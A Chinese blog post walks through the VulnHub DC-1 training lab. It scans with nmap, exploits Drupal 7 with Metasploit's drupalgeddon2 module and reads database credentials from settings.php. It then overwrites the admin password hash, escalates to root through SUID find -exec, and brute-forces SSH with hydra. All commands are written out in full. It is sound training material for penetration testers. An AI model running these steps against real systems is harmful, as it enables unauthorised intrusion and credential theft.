[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、环境搭建:
- 1、靶机描述
- 2、下载靶场环境
- 3、启动靶场环境
- 二、渗透靶场
- 1、目标:
- 2、信息收集:寻找靶机真实IP
- 3、信息收集:探端口及服务
- 4、访问web站点
- 5、利用MSF渗透
- 1.MSF简单命令介绍
- 2.搜索Drupal 7的漏洞
- 3.进入MSF控制台搜索drupal模块
- 4.选择模块进行测试
- 5.设置靶机IP运行msf
- 6.进入shell
- 7.执行whoami
- 8.发现flag4.txt文件
- 9.使用python反弹一个交互式shell
- 10.发现flag1文件
- 11.发现flag2
- 12.登录站点
- 13.发现flag3
- 14.发现最后的flag文件
- 15.发现flag4
- 三、相关资源
一、环境搭建:
1、靶机描述
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
根据描述信息我们可以知道本靶场环境总共有5个flag。
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-1,292/
下载下来的文件如下
3、启动靶场环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。
设置虚拟机名称
导入中
导入完成之后打开后把网络模式设置为NAT模式。
虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24
二、渗透靶场
本环境重在在于如下两个知识点
Drupal 7 漏洞利用
find 提权
1、目标:
目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24
2、信息收集:寻找靶机真实IP
nmap -sP 192.168.233.0/24
本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.177
3、信息收集:探端口及服务
nmap -A -p- -v 192.168.233.177
发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务
4、访问web站点
http://192.168.233.177/
发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS
5、利用MSF渗透
典型的drupal,由于我们这里是老外搭建的靶机,所以就纯kali渗透即可,启动Metersploit
MSF存在drupal模块,尝试使用msf渗透
1.MSF简单命令介绍
msfconsole 进入MSF控制台
search 搜索相应模块
use 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击
2.搜索Drupal 7的漏洞
搜索Drupal 7的漏洞发现可利用的漏洞很多
searchsploit Drupa 7
3.进入MSF控制台搜索drupal模块
进入MSF控制台
msfconsole
搜索drupal模块
search drupal
4.选择模块进行测试
用2018的测试
use exploit/unix/webapp/drupal_drupalgeddon2
5.设置靶机IP运行msf
set rhosts 192.168.233.177
运行msf
run
6.进入shell
shell
7.执行whoami
whoami
发现是www-data权限
8.发现flag4.txt文件
进入home目录,发现flag4.txt文件,提示需要提升权限
9.使用python反弹一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
10.发现flag1文件
查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件
ls
cat flag1.txt
Every good CMS needs a config file - and so do you
11.发现flag2
Drupal的默认配置文件为
/var/www/sites/default/settings.php
查看文件内容
cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
flag2提示,提升权限为root来查看敏感文件,或者直接爆破
我们先进入数据库查看
mysql -u dbuser -p
查看数据库,切换到drupaldb数据库
databases;
use drupaldb;
查看查找默认的Drupal user 表
select * from users;
发现admin信息
置换drupal密码
http://drupalchina.cn/node/2128
进入www目录
quit;
站点路径下执行
php scripts/password-hash.sh 新密码
然后在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库
mysql -u dbuser -p
R0ck3t
use drupaldb
将pass字段进行替换
update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";
12.登录站点
访问站点
http://192.168.233.177/
进行登录,密码是之前我们自己替换的,账号是admin
admin
111111
成功登录
13.发现flag3
登陆战点之后,随便翻一番,发现flag3,
http://192.168.233.177/node#overlay=admin/content
点击flag3进入,发现提示信息
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
大致意思是提权并提示 -exec,想到suid提权 find 命令
使用命令查看 suid 权限的可执行二进制程序
find / -perm -4000 2>/dev/null
发现find命令
使用命令测试,发现为root权限
touch 666
ls
find / -name 666 -exec "whoami" \;
14.发现最后的flag文件
我们切换语句进入shell,执行whoami查看当前权限,执行ls查看当前目录下文件,切换到root目录,查看文件,发现cat thefinalflag.txt文件。
find / -name 666 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
查看cat thefinalflag.txt文件
cat thefinalflag.txt
文件内容如下
Well done!!!
干得好!
Hopefully you've enjoyed this and learned some new skills.
希望你已经享受了这一点,并学到了一些新的技能。
You can Let me know what you thought of this little journey
你可以告诉我你对这段小旅程的看法
by_ contacting me via Twitter
通过twitter联系我
QDCAU7
QDCAU7
大致就是说你已经通过了本关卡。
15.发现flag4
此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破
cat /etc/passwd
hydra -l flag4 -P /root/Desktop/pass.txt ssh://192.168.233.177
解释一下:
-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址
SSH连接登录,拿到flag4权限
ssh flag4@192.168.233.177
三、相关资源
1、靶场下载地址
2、[ MSF使用实例 ] 利用永恒之黑采用正向连接 shell 获得主机权限(CVE-2020-0796)(SMBGhost)
3、简谈SUID提权